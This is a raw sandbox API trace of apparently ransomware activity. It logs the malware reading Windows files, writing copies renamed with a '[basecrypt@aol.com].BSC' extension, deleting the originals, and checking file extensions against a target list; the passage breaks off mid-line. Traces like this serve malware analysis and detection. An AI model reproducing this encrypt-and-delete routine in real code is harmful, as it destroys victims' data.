GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x37bff14 | out: lpFileSize=0x37bff14*=38898) returned 1 [0104.347] CloseHandle (hObject=0x2e0) returned 1 [0104.347] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml")) returned 0x80 [0104.348] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0104.348] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0104.348] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37bfec0 | out: lpNewFilePointer=0x0) returned 1 [0104.348] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37bfec0 | out: lpNewFilePointer=0x0) returned 1 [0104.348] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0104.348] GetLastError () returned 0x0 [0104.348] ReadFile (in: hFile=0x2e0, lpBuffer=0x4172020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37bfecc, lpOverlapped=0x0 | out: lpBuffer=0x4172020*, lpNumberOfBytesRead=0x37bfecc*=0x97f2, lpOverlapped=0x0) returned 1 [0104.654] WriteFile (in: hFile=0x334, lpBuffer=0x4172020*, nNumberOfBytesToWrite=0x9800, lpNumberOfBytesWritten=0x37bfc94, lpOverlapped=0x0 | out: lpBuffer=0x4172020*, lpNumberOfBytesWritten=0x37bfc94*=0x9800, lpOverlapped=0x0) returned 1 [0104.656] ReadFile (in: hFile=0x2e0, lpBuffer=0x4172020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37bfecc, lpOverlapped=0x0 | out: lpBuffer=0x4172020*, lpNumberOfBytesRead=0x37bfecc*=0x0, lpOverlapped=0x0) returned 1 [0104.656] WriteFile (in: hFile=0x334, lpBuffer=0x4172020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x37bfc94, lpOverlapped=0x0 | out: lpBuffer=0x4172020*, lpNumberOfBytesWritten=0x37bfc94*=0xe8, lpOverlapped=0x0) returned 1 [0104.656] SetEndOfFile (hFile=0x334) returned 1 [0104.656] CloseHandle (hObject=0x334) returned 1 [0104.659] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37bfec0 | out: lpNewFilePointer=0x0) returned 1 [0104.659] SetEndOfFile (hFile=0x2e0) returned 1 [0104.660] CloseHandle (hObject=0x2e0) returned 1 [0104.661] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0104.661] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml")) returned 1 [0104.661] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0104.661] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0104.661] lstrlenW (lpString=".doc") returned 4 [0104.661] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0104.661] lstrlenW (lpString=".docx") returned 5 [0104.661] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0104.662] lstrlenW (lpString=".pdf") returned 4 [0104.662] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0104.662] lstrlenW (lpString=".xls") returned 4 [0104.662] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0104.662] lstrlenW (lpString=".xlsx") returned 5 [0104.662] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0104.662] lstrlenW (lpString=".ppt") returned 4 [0104.662] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0104.662] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0104.662] lstrlenW (lpString=".zip") returned 4 [0104.662] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0104.662] lstrlenW (lpString=".rar") returned 4 [0104.662] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0104.662] lstrlenW (lpString=".bz2") returned 4 [0104.662] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0104.662] lstrlenW (lpString=".7z") returned 3 [0104.662] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0104.662] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0104.662] lstrlenW (lpString=".dbf") returned 4 [0104.662] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0104.662] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0104.662] lstrlenW (lpString=".1cd") returned 4 [0104.662] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0104.662] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0104.662] lstrlenW (lpString=".jpg") returned 4 [0104.662] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0104.663] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0104.663] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0104.663] lstrlenW (lpString=".doc") returned 4 [0104.663] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0104.663] lstrlenW (lpString=".docx") returned 5 [0104.663] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0104.663] lstrlenW (lpString=".pdf") returned 4 [0104.663] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0104.663] lstrlenW (lpString=".xls") returned 4 [0104.663] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0104.663] lstrlenW (lpString=".xlsx") returned 5 [0104.663] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0104.663] lstrlenW (lpString=".ppt") returned 4 [0104.663] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0104.663] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0104.663] lstrlenW (lpString=".zip") returned 4 [0104.663] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0104.663] lstrlenW (lpString=".rar") returned 4 [0104.663] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0104.663] lstrlenW (lpString=".bz2") returned 4 [0104.664] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0104.664] lstrlenW (lpString=".7z") returned 3 [0104.664] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0104.664] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0104.664] lstrlenW (lpString=".dbf") returned 4 [0104.664] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0104.664] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0104.664] lstrlenW (lpString=".1cd") returned 4 [0104.664] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0104.664] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0104.664] lstrlenW (lpString=".jpg") returned 4 [0104.664] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0104.664] lstrcmpiW (lpString1=".LOG", lpString2=".BSC") returned 1 [0104.664] lstrlenW (lpString="BCD.LOG") returned 7 [0104.664] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0104.665] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0104.665] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0104.665] lstrlenW (lpString=".doc") returned 4 [0104.665] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0104.665] lstrlenW (lpString=".docx") returned 5 [0104.665] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0104.665] lstrlenW (lpString=".pdf") returned 4 [0104.665] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0104.665] lstrlenW (lpString=".xls") returned 4 [0104.665] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0104.665] lstrlenW (lpString=".xlsx") returned 5 [0104.665] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0104.665] lstrlenW (lpString=".ppt") returned 4 [0104.665] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0104.665] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0104.665] lstrlenW (lpString=".zip") returned 4 [0104.665] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0104.665] lstrlenW (lpString=".rar") returned 4 [0104.665] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0104.665] lstrlenW (lpString=".bz2") returned 4 [0104.665] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0104.665] lstrlenW (lpString=".7z") returned 3 [0104.666] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0104.666] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0104.666] lstrlenW (lpString=".dbf") returned 4 [0104.666] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0104.666] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0104.666] lstrlenW (lpString=".1cd") returned 4 [0104.666] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0104.666] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0104.666] lstrlenW (lpString=".jpg") returned 4 [0104.666] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0104.666] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0104.666] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0104.666] lstrlenW (lpString=".doc") returned 4 [0104.666] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0104.666] lstrlenW (lpString=".docx") returned 5 [0104.666] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0104.666] lstrlenW (lpString=".pdf") returned 4 [0104.666] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0104.666] lstrlenW (lpString=".xls") returned 4 [0104.666] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0104.666] lstrlenW (lpString=".xlsx") returned 5 [0104.666] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0104.666] lstrlenW (lpString=".ppt") returned 4 [0104.666] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0104.666] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0104.666] lstrlenW (lpString=".zip") returned 4 [0104.667] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0104.667] lstrlenW (lpString=".rar") returned 4 [0104.667] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0104.667] lstrlenW (lpString=".bz2") returned 4 [0104.667] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0104.667] lstrlenW (lpString=".7z") returned 3 [0104.667] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0104.667] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0104.667] lstrlenW (lpString=".dbf") returned 4 [0104.667] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0104.667] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0104.667] lstrlenW (lpString=".1cd") returned 4 [0104.667] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0104.667] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0104.667] lstrlenW (lpString=".jpg") returned 4 [0104.667] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0104.667] lstrcmpiW (lpString1=".DAT", lpString2=".BSC") returned 1 [0104.667] lstrlenW (lpString="BOOTSTAT.DAT") returned 12 [0104.667] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0105.078] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x37bff14 | out: lpFileSize=0x37bff14*=65536) returned 1 [0105.078] CloseHandle (hObject=0x34c) returned 1 [0105.078] GetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat")) returned 0x26 [0105.078] GetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\boot\\bootstat.dat.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0105.091] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0105.091] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37bfec0 | out: lpNewFilePointer=0x0) returned 1 [0105.091] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37bfec0 | out: lpNewFilePointer=0x0) returned 1 [0105.091] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\boot\\bootstat.dat.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0105.102] GetLastError () returned 0x0 [0105.102] ReadFile (in: hFile=0x34c, lpBuffer=0x4172020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37bfecc, lpOverlapped=0x0 | out: lpBuffer=0x4172020*, lpNumberOfBytesRead=0x37bfecc*=0x10000, lpOverlapped=0x0) returned 1 [0105.147] WriteFile (in: hFile=0x32c, lpBuffer=0x4172020*, nNumberOfBytesToWrite=0x10010, lpNumberOfBytesWritten=0x37bfc94, lpOverlapped=0x0 | out: lpBuffer=0x4172020*, lpNumberOfBytesWritten=0x37bfc94*=0x10010, lpOverlapped=0x0) returned 1 [0105.149] ReadFile (in: hFile=0x34c, lpBuffer=0x4172020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37bfecc, lpOverlapped=0x0 | out: lpBuffer=0x4172020*, lpNumberOfBytesRead=0x37bfecc*=0x0, lpOverlapped=0x0) returned 1 [0105.149] WriteFile (in: hFile=0x32c, lpBuffer=0x4172020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x37bfc94, lpOverlapped=0x0 | out: lpBuffer=0x4172020*, lpNumberOfBytesWritten=0x37bfc94*=0xec, lpOverlapped=0x0) returned 1 [0105.149] SetEndOfFile (hFile=0x32c) returned 1 [0105.149] CloseHandle (hObject=0x32c) returned 1 [0105.151] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37bfec0 | out: lpNewFilePointer=0x0) returned 1 [0105.151] SetEndOfFile (hFile=0x34c) returned 1 [0105.152] CloseHandle (hObject=0x34c) returned 1 [0105.152] SetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x26) returned 1 [0105.152] DeleteFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat")) returned 1 [0105.152] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0105.152] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0105.152] lstrlenW (lpString=".doc") returned 4 [0105.153] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1 [0105.153] lstrlenW (lpString=".docx") returned 5 [0105.153] lstrcmpiW (lpString1=".docx", lpString2="T.DAT") returned -1 [0105.153] lstrlenW (lpString=".pdf") returned 4 [0105.153] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1 [0105.153] lstrlenW (lpString=".xls") returned 4 [0105.153] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1 [0105.153] lstrlenW (lpString=".xlsx") returned 5 [0105.153] lstrcmpiW (lpString1=".xlsx", lpString2="T.DAT") returned -1 [0105.153] lstrlenW (lpString=".ppt") returned 4 [0105.153] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1 [0105.153] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0105.153] lstrlenW (lpString=".zip") returned 4 [0105.153] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1 [0105.153] lstrlenW (lpString=".rar") returned 4 [0105.153] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1 [0105.153] lstrlenW (lpString=".bz2") returned 4 [0105.153] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1 [0105.153] lstrlenW (lpString=".7z") returned 3 [0105.153] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1 [0105.153] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0105.153] lstrlenW (lpString=".dbf") returned 4 [0105.153] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1 [0105.153] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0105.153] lstrlenW (lpString=".1cd") returned 4 [0105.153] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1 [0105.153] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0105.154] lstrlenW (lpString=".jpg") returned 4 [0105.154] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1 [0105.154] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0105.154] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0105.154] lstrlenW (lpString=".doc") returned 4 [0105.154] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1 [0105.154] lstrlenW (lpString=".docx") returned 5 [0105.154] lstrcmpiW (lpString1=".docx", lpString2="T.DAT") returned -1 [0105.154] lstrlenW (lpString=".pdf") returned 4 [0105.154] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1 [0105.154] lstrlenW (lpString=".xls") returned 4 [0105.154] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1 [0105.154] lstrlenW (lpString=".xlsx") returned 5 [0105.154] lstrcmpiW (lpString1=".xlsx", lpString2="T.DAT") returned -1 [0105.154] lstrlenW (lpString=".ppt") returned 4 [0105.154] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1 [0105.154] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0105.154] lstrlenW (lpString=".zip") returned 4 [0105.154] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1 [0105.154] lstrlenW (lpString=".rar") returned 4 [0105.155] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1 [0105.155] lstrlenW (lpString=".bz2") returned 4 [0105.155] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1 [0105.155] lstrlenW (lpString=".7z") returned 3 [0105.155] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1 [0105.155] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0105.155] lstrlenW (lpString=".dbf") returned 4 [0105.155] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1 [0105.155] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0105.155] lstrlenW (lpString=".1cd") returned 4 [0105.155] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1 [0105.155] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0105.155] lstrlenW (lpString=".jpg") returned 4 [0105.155] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1 [0105.155] lstrcmpiW (lpString1=".xml", lpString2=".BSC") returned 1 [0105.155] lstrlenW (lpString="Alphabet.xml") returned 12 [0105.155] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0108.197] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x37bff14 | out: lpFileSize=0x37bff14*=791421) returned 1 [0108.197] CloseHandle (hObject=0x34c) returned 1 [0108.197] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml")) returned 0x20 [0108.197] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0108.198] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0108.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0108.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0108.198] lstrlenW (lpString=".doc") returned 4 [0108.198] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0108.198] lstrlenW (lpString=".docx") returned 5 [0108.198] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0108.198] lstrlenW (lpString=".pdf") returned 4 [0108.198] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0108.198] lstrlenW (lpString=".xls") returned 4 [0108.198] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0108.198] lstrlenW (lpString=".xlsx") returned 5 [0108.198] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0108.198] lstrlenW (lpString=".ppt") returned 4 [0108.198] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0108.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0108.198] lstrlenW (lpString=".zip") returned 4 [0108.198] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0108.198] lstrlenW (lpString=".rar") returned 4 [0108.198] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0108.198] lstrlenW (lpString=".bz2") returned 4 [0108.198] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0108.198] lstrlenW (lpString=".7z") returned 3 [0108.199] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0108.199] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0108.199] lstrlenW (lpString=".dbf") returned 4 [0108.199] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0108.199] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0108.199] lstrlenW (lpString=".1cd") returned 4 [0108.199] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0108.199] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0108.199] lstrlenW (lpString=".jpg") returned 4 [0108.199] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0108.199] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0108.199] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0108.199] lstrlenW (lpString=".doc") returned 4 [0108.199] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0108.199] lstrlenW (lpString=".docx") returned 5 [0108.199] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0108.199] lstrlenW (lpString=".pdf") returned 4 [0108.199] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0108.199] lstrlenW (lpString=".xls") returned 4 [0108.199] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0108.199] lstrlenW (lpString=".xlsx") returned 5 [0108.199] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0108.199] lstrlenW (lpString=".ppt") returned 4 [0108.199] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0108.199] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0108.199] lstrlenW (lpString=".zip") returned 4 [0108.200] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0108.200] lstrlenW (lpString=".rar") returned 4 [0108.200] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0108.200] lstrlenW (lpString=".bz2") returned 4 [0108.200] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0108.200] lstrlenW (lpString=".7z") returned 3 [0108.200] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0108.200] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0108.200] lstrlenW (lpString=".dbf") returned 4 [0108.200] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0108.200] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0108.200] lstrlenW (lpString=".1cd") returned 4 [0108.200] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0108.200] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0108.200] lstrlenW (lpString=".jpg") returned 4 [0108.200] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0108.200] lstrcmpiW (lpString1=".avi", lpString2=".BSC") returned -1 [0108.200] lstrlenW (lpString="boxed-join.avi") returned 14 [0108.200] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0109.512] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x37bff14 | out: lpFileSize=0x37bff14*=46622) returned 1 [0109.512] CloseHandle (hObject=0x310) returned 1 [0109.512] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi")) returned 0x20 [0109.512] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0109.513] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0109.513] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0109.513] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft 